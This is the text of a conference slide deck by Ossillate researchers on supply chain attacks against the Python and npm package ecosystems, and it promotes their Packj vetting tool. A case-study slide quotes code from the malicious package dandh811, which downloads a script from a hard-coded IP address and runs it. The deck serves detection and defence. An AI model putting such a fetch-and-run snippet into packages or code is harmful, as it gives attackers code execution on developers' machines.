Bad actors vs our community
Detecting software supply chain attacks on Python ecosystem

Ashish Bijlani, Ajinkya Rajput
About us

Cybersecurity researchers at Ossillate, Inc. building tools to mitigate software supply chain attacks

Ashish Bijlani

Ph.D., Georgia Tech

@ashishbijlani

https://www.linkedin.com/in/ashishbijlani/
Open-source software is eating the world

millions of packages!
Package managers

- Anybody can publish package: individual devs/group
- Frictionless single-command publishing
- However, limited security vetting

Software we use on our servers, desktops, laptops

is written by unknown volunteers, which we blindly TRUST!

Source: https://imgs.xkcd.com/comics/dependency.png
Bad actors exploit this trust

Malicious PyPI packages with over 10,000 downloads taken down

Software Supply Chain Attacks Tripled in 2021: Study

Developer Abuses NPM Libraries ‘Colors’ And ‘Faker’ Cracking Thousands of Apps

© January 10, 2022   © CIM Team
Software supply chain attack

• Target “less secure” packages in the supply chain

• Inject purposefully harmful code (malware)
  ◦ Unlike CVEs in benign code
  ◦ Stealthy and evasive
  ◦ Cannot be patched to fix!

• Wide blast radius - adopted by millions of devs
## Attack Technique: Typosquatting

<table>
<thead>
<tr>
<th>Typosquatted package</th>
<th>Original popular package</th>
<th>Exploited Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td>colourama</td>
<td>colorama</td>
<td>misspelling</td>
</tr>
<tr>
<td>nmap-python</td>
<td>python-nmap</td>
<td>order confusion</td>
</tr>
<tr>
<td>easyinstall</td>
<td>easy_install</td>
<td>separator confusion</td>
</tr>
</tbody>
</table>
Case study: mitmproxy2

- Typosquatting attack
- Impersonates “mitmproxy”
- Exploits name typo during installation or dev inexperience
- Removes safeguards: everyone on the same network can execute code on your machine with a single HTTP request
Technique: Social Engineering

@dominictarr Why was @right9ctrl given access to this repo?

dominictarr commented on 22 Nov 2018

he emailed me and said he wanted to maintain the module, so I gave it to him.
Technique: Dependency Confusion

- Public Package Repository: Attacker hosts pkg-2.0.0
- Organization:
  - Before Attacker publishes pkg-2.0.0
  - Internal Package Repository: Hosts: pkg-1.0.0
- Production Server: Uses: pkg-1.0.0
- After Attacker publishes newer version
Technique: Account Hijacking

Sabotaging UA-Parser-JS was a real coup for the attacker given its reach. The package is downloaded around eight million times a week and is used by Google, Amazon, Facebook, IBM, and Microsoft, among numerous other tech giants.

Source: https://portswigger.net/daily-swig/popular-npm-package-ua-parser-js-poisoned-with-cryptomining-password-stealing-malware

faisalman commented on 22 Oct 2021

Hi all, very sorry about this.

I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary).

I believe someone was hijacking my npm account and published some compromised packages (6.7.29, 6.8.0).

Source: https://github.com/faisalman/ua-parser-js/issues/536
Case study

dandh811 0.0.10

```python
handler = urllib2.urlopen("http://81.70.89.72/sectest/package/pypi/download")

with open("/tmp/dandh811.py", "wb") as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(['python2', '/tmp/dandh811.py'])
```
How to defend against these attacks

• Maintainers and Package Managers:
  ◦ Enable 2FA, name scoping, package signing, …

• CAVEAT: aforementioned measures fall short!
  ◦ Example: disgruntled maintainer (protestware)

• Developers:
  ◦ Analyze package code and behavior before adopting
Manual vetting is infeasible
Existing tools report KNOWN CVEs
Vanity stats are not enough

```
sandbox-sandbox.r3dcondemo.sca 0.0.3

pip install sandbox-sandbox.r3dcondemo.sca

A package that teaches about the danger of dependency supply chain attacks
```

GitHub statistics:
- Stars: 4,154
- Forks: 1,526
- Open issues/PRs: 12

NO VERIFICATION!
Packj: a dev-friendly vetting tool

- Zero-trust approach - automated vetting of “risky” code and attributes

- Provide actionable security insights
  - Is the package old or abandoned?
  - Does it read files or send data over the network?
  - Is the source repo available publicly?

- Command line tool

- Customizable to threat model - reduces alert fatigue
## API Analysis

<table>
<thead>
<tr>
<th>Example APIs</th>
<th>Capabilities</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>open, read, write</td>
<td>FILE SYSTEM</td>
<td>Read/Write Files</td>
</tr>
<tr>
<td>socket, send, recv</td>
<td>NETWORK</td>
<td>Upload/Download data</td>
</tr>
<tr>
<td>exec, eval, fork</td>
<td>CODE GENERATION</td>
<td>Generate and execute new code</td>
</tr>
</tbody>
</table>
Metadata Analysis

- Validation of maintainer email
  - Invalid email suggests no 2FA

- Old or abandoned package
  - Likely to not receive security patches

- Presence of public source code repository
  - For code verification

- Typo-squatting detection based on name similarity
Tool demo
Enabling package vetting at scale

- Packj tool enables [https://packj.dev](https://packj.dev) software service

- Continuously vets packages
  - Offers better accuracy due to large dataset
  - Hosts free reports on millions of pre-vetted packages
  - Free CI/CD plugins to audit pull requests

- Review, endorse, and share vetting reports
Packj.dev demo
Some of our recent findings

<table>
<thead>
<tr>
<th>Package</th>
<th>Description</th>
<th>Packages</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>mlp2, mlp1, mlp3, mlp4</strong></td>
<td>Four malicious Python packages read your SSH keys</td>
<td>4</td>
</tr>
<tr>
<td><strong>dandh811</strong></td>
<td>Another malicious Python package discovered</td>
<td>1</td>
</tr>
<tr>
<td><strong>KrisQian</strong></td>
<td>Malicious Python package KrisQian installs a backdoor</td>
<td>1</td>
</tr>
<tr>
<td><strong>i-am-malicious</strong></td>
<td>'PoC' Python PyPI package demos supply chain attacks</td>
<td>1</td>
</tr>
</tbody>
</table>
Findings
Thank you!

Packj source code hosted on Github, accepting code contributions.

Millions of pre-vetted packages and security reports available at packj.dev

packj.dev service is powered by Ossillate, inc.

send questions/comments at oss@ossillate.com

https://github.com/ossillate-inc
@ossillate-inc
https://www.linkedin.com/company/ossillate